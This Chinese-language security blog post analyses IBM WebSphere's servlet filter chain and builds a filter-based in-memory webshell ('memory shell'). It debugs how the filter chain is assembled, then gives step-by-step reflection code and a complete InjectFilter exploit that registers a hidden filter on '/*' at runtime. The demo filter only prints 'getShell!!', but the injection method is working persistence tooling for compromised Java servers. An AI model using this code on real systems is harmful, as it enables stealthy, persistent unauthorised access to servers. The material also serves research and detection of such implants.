前言
WebSphere 是 IBM 开发的一套应用程序服务器和相关软件工具的集合,主要用于构建、部署和管理企业级 Java 应用程序。本文主要是从0到1分析websphere中filter内存马的分析构造分析
环境搭建
websphere环境搭建过程可以参考https://xz.aliyun.com/t/12278
HelloFilter.java
import javax.servlet.*;
import java.io.IOException;
public class HelloFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("this is HelloFilter!!");
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
HelloServlet.java
import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class HelloServlet extends HttpServlet {
private static final long serialVersionUID = 1L;
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
response.setContentType("text/html;charset=UTF-8");
response.getWriter().write("<html>");
response.getWriter().write("<head><title>Hello Servlet</title></head>");
response.getWriter().write("<body>");
response.getWriter().write("<h1>Hello, World!</h1>");
response.getWriter().write("</body>");
response.getWriter().write("</html>");
new InjectFilter();
}
}
TestFilter.java
import javax.servlet.*;
import java.io.IOException;
public class TestFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
System.out.println("this is TestFilter!!");
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
web.xml
<servlet>
<servlet-name>HelloWorldServlet</servlet-name>
<servlet-class>org.example.HelloServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>HelloWorldServlet</servlet-name>
<url-pattern>/hello</url-pattern>
</servlet-mapping>
<filter>
<filter-name>HelloFilter</filter-name>
<filter-class>org.example.HelloFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>HelloFilter</filter-name>
<url-pattern>/hello</url-pattern>
</filter-mapping>
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>org.example.TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
编写Filter和Servlet,配置web.xml,生成war包,在websphere管理后台中上传war包部署
点击Install,选择war包上传
一直next即可,到Step4,修改Context Root
点击Save保存即可
分析过程
本文是参考https://xz.aliyun.com/t/12278 的另一种Filter内存马的构造方式
在HelloServlet下断点,进入到图中所示的帧中,可以看到在此次调用到wrapper.doFilter(),而wrapper对象是通过this._filters.get()
得到的
继续向上,可以看到调用了fc.doFilter(),在fc对象中存在_filters属性,里面就保存了所要调用的filter的信息
查看fc对象是如何构造的,可以看到这里是通过this.getFilterChain()得到的
在该方法里会调用到this.getFilterChainContents()得到fcc对象
跟进该方法,可以看到首先通过缓存来获取,这里由于之前访问过已经存在缓存了,在此次下断点重启服务
重启服务后再次请求可以看到this.chainCache为空,通过this.webAppConfig.getUriFilterMappings()得到所有的filter,保存在servletFilterMappings里
遍历所有filter,得到与请求路径匹配的filter,添加到fcc对象中
得到的fcc对象中的_filterNames属性中保存要经过的filter对象的名称
得到fcc对象之后,返回到WebAppFilterManager#getFilterChain(),调用this.getFilterInstanceWrapper()实例化对应的filter对象,接着将该对象添加到newChain过滤器链中
跟进this.getFilterInstanceWrapper()分析filter对象的实例化过程,首先会从this._filterWrappers中查看是否存在已经实例化的,如何不存在会调用this.loadFilter()
在loadFilter()中接着调用到this._loadFilter()
跟进到_loadFilter(),可以看到程序通过this.webAppConfig.getFilterInfo()来获取需要的filter对象,所有的filter都保存在filterinfo属性里
fcc对象获取过程
1、this.chainCache中存在,直接返回fcc对象
2、this.chainCache中不存在,从servletFilterMappings中获取filter信息与请求路径进行匹配,将匹配的filter名称保存到fcc对象中返回
得到fcc对象之后,就会遍历fcc对象中的_filterNames,实例化filter对象并添加到newChain中,而filter对象都保存到filterInfo中
通过该上面的分析就可以得到注入的流程
1、获取程序运行时上下文
2、将filterconfig添加到filterinfo中
3、将this.chainCache的内容设置为null
4、将自定义的filter添加到servletFilterMappings
exp构造过程
Step1
Context可以通过线程类来获取,使用java-object-search来在线程中搜索所需要的对象
通过下面的代码可以得到一个SRTServletRequest对象
SRTServletRequest srtServletRequest = null;
Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");
if (wsThreadLocals != null) {
for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {
Object obj = Array.get(wsThreadLocals, i);
if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {
obj = getField(obj, "currentThreadsIExtendedRequest");
obj = getField(obj, "_requestContext");
srtServletRequest = (SRTServletRequest) getField(obj, "request");
break;
}
}
}
该对象下存在一个getServletContext()方法可以获取到 servlet 上下文
Step2
获取到Context后,下一步就是实例化一个FilterConfig对象,在FilterConfig类的构造方法下断点,重新启动服务
可以看到在WebAppConfigurationHelper#constructFilterInfos()
中实例化了FilterConfig对象,还调用了setFilterClassName()和setName()来初始化filter的基本信息
使用下面的代码来获取FilterConfig,webConfig的值可以通过反射从线程得到
public static FilterConfig getFilterConfig(WebAppConfigurationImpl webConfig) {
FilterConfig f = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webConfig);
f.setFilterClassName(FilterClass);
f.setName(FilterName);
return f;
}
接着调用WebAppConfiguration#addFilterInfo()将实例化好的FilterConfig对象添加到FilterInfo中
Step3
第三步是将this.chainCache的值设置为空,这样当下一次请求的时候就会重新获取fcc对象来生成newChain
这里不能直接将chainCache设置为null
,需要将chainCache设置为Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true))
WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(object, "filterManager");
Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));
field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");
field.setAccessible(true);
field.set(filterManager, chainCache);
Step4
在FilterMapping类下断点,可以看到FilterConfig#addMappingForUrlPatterns()中实例化了FilterMapping对象
可以看到FilterMapping都保存在ArrayList对象中,那就可以通过反射获取到该对象,接着调用该对象下的add()方法向数组中添加一个元素
ArrayList uriFilterMappingInfos = (ArrayList) getField(object, "uriFilterMappingInfos");
uriFilterMappingInfos.add(filterMapping);
完整exp
package org.example;
import com.ibm.ws.webcontainer.filter.FilterMapping;
import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
import com.ibm.ws.webcontainer.srt.SRTServletRequest;
import com.ibm.ws.webcontainer.webapp.WebAppConfigurationImpl;
import com.ibm.ws.webcontainer.filter.FilterConfig;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.*;
public class InjectFilter {
private static final String FilterClass = "org.example.InjectFilter$FilterShell";
private static final String FilterName = "FilterShell";
private static final String pattern = "/*";
static {
try {
SRTServletRequest srtServletRequest = null;
Object wsThreadLocals = getField(Thread.currentThread(), "wsThreadLocals");
if (wsThreadLocals != null) {
for (int i = 0; i < Array.getLength(wsThreadLocals); i++) {
Object obj = Array.get(wsThreadLocals, i);
if (obj != null && obj.getClass().getName().contains("WebContainerRequestState")) {
obj = getField(obj, "currentThreadsIExtendedRequest");
obj = getField(obj, "_requestContext");
srtServletRequest = (SRTServletRequest) getField(obj, "request");
break;
}
}
}
// Step1 获取到Context
Object object = getField(srtServletRequest.getServletContext(), "context");
WebAppConfigurationImpl webconfig = (WebAppConfigurationImpl) getField(object, "config");
// Step2 构造一个FilterConfig对象,并将该对象添加到FilterInfo中
FilterConfig filterConfig = getFilterConfig(webconfig);
List<String> urlPatternMappings = new ArrayList<>();
urlPatternMappings.add(pattern);
Field field = filterConfig.getClass().getDeclaredField("urlPatternMappings");
field.setAccessible(true);
field.set(filterConfig, urlPatternMappings);
webconfig.addFilterInfo(filterConfig);
// Step3 清空chainCache的值
WebAppFilterManagerImpl filterManager = (WebAppFilterManagerImpl) getField(object, "filterManager");
Map chainCache = Collections.synchronizedMap(new LinkedHashMap(20, 0.75F, true));
field = filterManager.getClass().getSuperclass().getDeclaredField("chainCache");
field.setAccessible(true);
field.set(filterManager, chainCache);
// Step4 构造一个FilterMapping对象,并将该对象添加到uriFilterMappingInfos里
FilterMapping filterMapping = new FilterMapping(pattern, filterConfig, null);
object = getField(filterManager, "webAppConfig");
ArrayList uriFilterMappingInfos = (ArrayList) getField(object, "uriFilterMappingInfos");
uriFilterMappingInfos.add(filterMapping);
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object getField(Object o, String s) throws IllegalAccessException, NoSuchFieldException {
Field field = null;
try {
field = o.getClass().getDeclaredField(s);
} catch (Exception e) {
try {
field = o.getClass().getSuperclass().getDeclaredField(s);
} catch (Exception e1) {
field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
}
}
field.setAccessible(true);
return field.get(o);
}
public static void setField(Object o, String s, Object t) throws NoSuchFieldException, IllegalAccessException {
Field field = null;
try {
field = o.getClass().getDeclaredField(s);
} catch (Exception e) {
try {
field = o.getClass().getSuperclass().getDeclaredField(s);
} catch (Exception e1) {
field = o.getClass().getSuperclass().getSuperclass().getDeclaredField(s);
}
}
field.setAccessible(true);
field.set(o, t);
}
public static FilterConfig getFilterConfig(WebAppConfigurationImpl webConfig) {
FilterConfig f = new com.ibm.ws.webcontainer.filter.FilterConfig(null, webConfig);
f.setFilterClassName(FilterClass);
f.setName(FilterName);
return f;
}
public static class FilterShell implements javax.servlet.Filter {
@Override
public void init(javax.servlet.FilterConfig filterConfig) {
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
System.out.println("getShell!!");
chain.doFilter(request, response);
}
@Override
public void destroy() {
}
}
}